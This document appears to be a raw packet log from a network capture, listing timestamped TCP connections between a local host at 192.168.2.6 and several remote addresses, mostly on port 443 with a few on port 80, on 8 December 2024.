Dec 8, 2024 17:45:20.830140114 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.830276966 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.830291033 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.830559015 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.830574036 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.830631018 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.830740929 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:20.830751896 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:20.860651016 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.905905962 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.905915022 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.933197975 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.933271885 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.933280945 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.943058968 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.943150997 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.943156958 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.952039003 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.952107906 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.952116013 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.964627028 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.964685917 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.964694977 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.977888107 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.977936983 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.977943897 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.990644932 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:20.990693092 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:20.990703106 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.004169941 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.004218102 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.004229069 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.016674042 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.016720057 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.016730070 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.017641068 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:21.017712116 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:21.017759085 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:21.018002033 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:21.018026114 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:21.018037081 CET	49740	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:21.018043041 CET	443	49740	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:21.022515059 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:21.022561073 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:21.022651911 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:21.022945881 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:21.022962093 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:21.029006958 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.029055119 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.029071093 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.047185898 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.047275066 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.047285080 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.050956964 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.051017046 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.051023960 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.063549042 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.063592911 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.063602924 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.109426975 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.125221968 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.126667976 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.126713991 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.126728058 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.134764910 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.134824038 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.134830952 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.139332056 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.139369965 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.139375925 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.139384031 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.139424086 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.144996881 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.157958031 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.157987118 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.158004999 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.158014059 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.158056021 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.167840004 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.177828074 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.177876949 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.177885056 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.190563917 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.190602064 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.190607071 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.190614939 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.190651894 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.202162027 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.212737083 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.212773085 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.212779999 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.212790012 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.212831020 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.223488092 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.234528065 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.234606028 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.234721899 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.234730959 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.234776974 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.243956089 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.254184008 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.254231930 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.254240036 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.263755083 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.263792992 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.263823986 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.263834953 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.263875008 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.272917986 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.281392097 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.281464100 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.281471014 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.289840937 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.289872885 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.289896011 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.289904118 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.289943933 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.298177004 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.306655884 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.306700945 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.306708097 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.314897060 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.314963102 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.314969063 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.323365927 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.323416948 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.323426008 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.332168102 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.332216978 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.332223892 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.334003925 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.334045887 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.334050894 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.334059000 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.334095001 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.338433981 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.343358040 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.343419075 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.343426943 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.348316908 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.348367929 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.348375082 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.353290081 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.353338003 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.353352070 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.358441114 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.358494043 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.358508110 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.363404989 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.363434076 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.363457918 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.363470078 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.363513947 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.368457079 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.368624926 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:21.368695021 CET	443	49730	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:21.368746042 CET	49730	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:22.327864885 CET	49752	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:22.327904940 CET	443	49752	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:22.328078032 CET	49752	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:22.328207970 CET	49752	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:22.328221083 CET	443	49752	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:22.450920105 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:22.450972080 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:22.451049089 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:22.453180075 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:22.453195095 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:22.548366070 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.548904896 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.558840036 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.558865070 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.559335947 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.559345007 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.559575081 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.559601068 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.560076952 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.560081959 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.575694084 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.576172113 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.576191902 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.576627016 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.576632977 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.826436043 CET	49703	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:22.826587915 CET	49703	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:22.827691078 CET	49755	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:22.827738047 CET	443	49755	173.222.162.64	192.168.2.6
Dec 8, 2024 17:45:22.827795982 CET	49755	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:22.828248978 CET	49755	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:22.828263998 CET	443	49755	173.222.162.64	192.168.2.6
Dec 8, 2024 17:45:22.927597046 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.932723999 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.932743073 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.933221102 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:22.933226109 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:22.945452929 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:22.945470095 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:22.945573092 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:22.945782900 CET	443	49703	173.222.162.64	192.168.2.6
Dec 8, 2024 17:45:22.945831060 CET	443	49703	173.222.162.64	192.168.2.6
Dec 8, 2024 17:45:22.946692944 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:22.946703911 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:23.227268934 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.227348089 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.227404118 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.227629900 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.227653980 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.227665901 CET	49745	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.227673054 CET	443	49745	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.230598927 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.230664968 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.230712891 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.230823040 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.230823040 CET	49744	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.230845928 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.230854988 CET	443	49744	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.231378078 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.231410027 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.231522083 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.231688976 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.231699944 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.233263969 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.233308077 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.233369112 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.233532906 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.233547926 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.242185116 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.242253065 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.242296934 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.242430925 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.242451906 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.242468119 CET	49742	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.242472887 CET	443	49742	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.244916916 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.244929075 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.244993925 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.245104074 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.245115042 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.362485886 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.362550974 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.362632990 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.363337040 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.363337040 CET	49746	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.363356113 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.363364935 CET	443	49746	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.368138075 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.368169069 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.368237019 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.368611097 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.368629932 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.825364113 CET	49715	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:23.825618029 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:23.934623957 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.935380936 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.935395956 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.936127901 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:23.936134100 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:23.949989080 CET	80	49715	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:23.950318098 CET	80	49763	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:23.950397968 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:23.955136061 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:24.032901049 CET	443	49752	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:24.033260107 CET	49752	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:24.033269882 CET	443	49752	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:24.033603907 CET	443	49752	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:24.033937931 CET	49752	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:24.034010887 CET	443	49752	142.250.181.100	192.168.2.6
Dec 8, 2024 17:45:24.076196909 CET	80	49763	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:24.076478958 CET	49752	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:24.168534994 CET	443	49755	173.222.162.64	192.168.2.6
Dec 8, 2024 17:45:24.168621063 CET	49755	443	192.168.2.6	173.222.162.64
Dec 8, 2024 17:45:24.331561089 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.331734896 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.333501101 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.333513021 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.333761930 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.372766972 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.372827053 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.374126911 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.374444962 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.388628006 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.388628006 CET	49743	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.388648033 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.388652086 CET	443	49743	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.399754047 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.401345015 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.401372910 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.401503086 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.402412891 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.402434111 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.444878101 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:24.445005894 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:24.447336912 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.447371006 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:24.447379112 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:24.447624922 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:24.499203920 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:24.512813091 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:24.555329084 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:24.843055964 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.843115091 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.843251944 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.843406916 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.843406916 CET	49756	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.843431950 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.843441010 CET	443	49756	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.852976084 CET	49765	443	192.168.2.6	142.250.181.142
Dec 8, 2024 17:45:24.853018999 CET	443	49765	142.250.181.142	192.168.2.6
Dec 8, 2024 17:45:24.853159904 CET	49765	443	192.168.2.6	142.250.181.142
Dec 8, 2024 17:45:24.853398085 CET	49765	443	192.168.2.6	142.250.181.142
Dec 8, 2024 17:45:24.853414059 CET	443	49765	142.250.181.142	192.168.2.6
Dec 8, 2024 17:45:24.872639894 CET	49767	443	192.168.2.6	172.217.17.78
Dec 8, 2024 17:45:24.872673035 CET	443	49767	172.217.17.78	192.168.2.6
Dec 8, 2024 17:45:24.872803926 CET	49767	443	192.168.2.6	172.217.17.78
Dec 8, 2024 17:45:24.873116016 CET	49767	443	192.168.2.6	172.217.17.78
Dec 8, 2024 17:45:24.873128891 CET	443	49767	172.217.17.78	192.168.2.6
Dec 8, 2024 17:45:24.895513058 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.895530939 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.895896912 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.896138906 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:24.896151066 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:24.952624083 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.953471899 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.953485012 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.955518961 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.955526114 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.955624104 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.956012964 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.956031084 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.956459999 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.956465960 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.975344896 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.981539965 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.981549978 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:24.983515978 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:24.983520985 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.082453966 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.083053112 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.083074093 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.083566904 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.083574057 CET	443	49760	13.107.246.63	192.168.2.6
